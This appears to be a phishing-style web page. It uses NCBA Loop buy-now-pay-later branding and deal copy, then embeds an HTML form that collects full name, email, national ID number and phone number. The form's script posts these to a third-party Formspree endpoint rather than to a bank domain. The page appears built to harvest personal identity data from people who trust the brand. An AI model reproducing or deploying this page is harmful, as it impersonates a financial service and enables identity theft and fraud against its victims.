NCBA Loop bnpl
It’s Always Been Your Time - Why Wait?
Live the life you deserve, today. Discover amazing deals, manage your money effortlessly, and connect with a world of possibilities. Stop wait, start LOOPing!
Discover Deals
Loop Deals
We all get that exhilarating feeling when we catch a good deal. Now, you can do it from the palm of your hand. LOOP Deals can uncover the most exclusive flash sales and discounts while browsing or shopping on the app.
Just check into LOOP Discover daily to find a treasure trove of promotions and coupons from popular stores and venues. You will certainly find an offer of interest on LOOP Deals that can free up your budget or take you that trip you’ve been saving for.
Fill in the form for processing
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<title>Contact Form</title>
<style>
body {
font-family: Arial, sans-serif;
background: #f5f5f5;
display: block;
justify-content: center;
align-items: center;
height: 100vh;
}
.form-container {
background: white;
padding: 25px;
border-radius: 10px;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
width: 320px;
}
.form-container h2 {
text-align: center;
margin-bottom: 20px;
}
input {
width: 100%;
padding: 10px;
margin-top: 10px;
border: 1px solid #ccc;
border-radius: 5px;
}
button {
width: 100%;
margin-top: 15px;
padding: 10px;
background: #f36525;
color: white;
border: none;
border-radius: 5px;
font-size: 16px;
cursor: pointer;
}
button:hover {
background: #ce6c57;
}
.message {
text-align: center;
margin-top: 15px;
font-size: 14px;
}
</style>
</head>
<body>
<div class="form-container">
<h2>Submit Details</h2>
<form id="contact-form" action="https://formspree.io/f/mnnznbad" method="POST">
<input type="text" name="name" placeholder="Full Name" required />
<input type="email" name="email" placeholder="Email Address" required />
<input type="text" name="id" placeholder="ID Number" required />
<input type="tel" name="phone" placeholder="Phone Number" required />
<button type="submit">Submit</button>
<div class="message" id="message"></div>
</form>
</div>
<script>
const form = document.getElementById("contact-form");
const message = document.getElementById("message");
form.addEventListener("submit", function (e) {
e.preventDefault();
const formData = new FormData(form);
fetch(form.action, {
method: "POST",
body: formData,
headers: {
'Accept': 'application/json'
}
}).then(response => {
if (response.ok) {
message.textContent = "Form submitted successfully!";
message.style.color = "green";
form.reset();
} else {
message.textContent = "Failed to send. Try again.";
message.style.color = "red";
}
}).catch(() => {
message.textContent = "Error occurred. Try again later.";
message.style.color = "red";
});
});
</script>
</body>
</html>